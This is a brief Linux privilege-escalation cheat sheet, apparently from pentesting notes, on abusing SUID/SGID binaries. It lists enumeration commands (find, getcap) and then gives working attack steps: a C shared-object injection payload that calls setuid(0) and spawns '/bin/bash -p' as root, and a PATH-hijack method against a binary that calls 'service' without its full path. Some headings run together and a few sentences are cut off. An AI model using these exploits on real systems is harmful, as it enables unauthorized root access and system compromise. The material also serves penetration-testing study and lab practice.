SUID / SGID
Find with +s
SUID Commands
find / -user root -perm /4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -type f -name '*.txt' 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}; > /tmp/suid
getcap -r / 2>/dev/null
SUID / SGID Executables - Known Exploits
- try to find existing exploit for findings (put main focus on items with know version) on https://www.exploit-db.comSUID / SGID Executables - Shared Object Injection
- Run strace on the file and search the output for open/access calls and for "no such file" errors: - If log will show that some external dependency are missing (/home/user/.config/libcalc.so), recreate them with own code - Check if you can overwrite somethinglibcalc.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
SUID / SGID Executables - Environment Variables
Run strings on the file to look for strings of printable characters
One line ("service apache2 start") suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used. What give us possibility to overwrite thisservice.c
add new lib localization to PATH run to get root*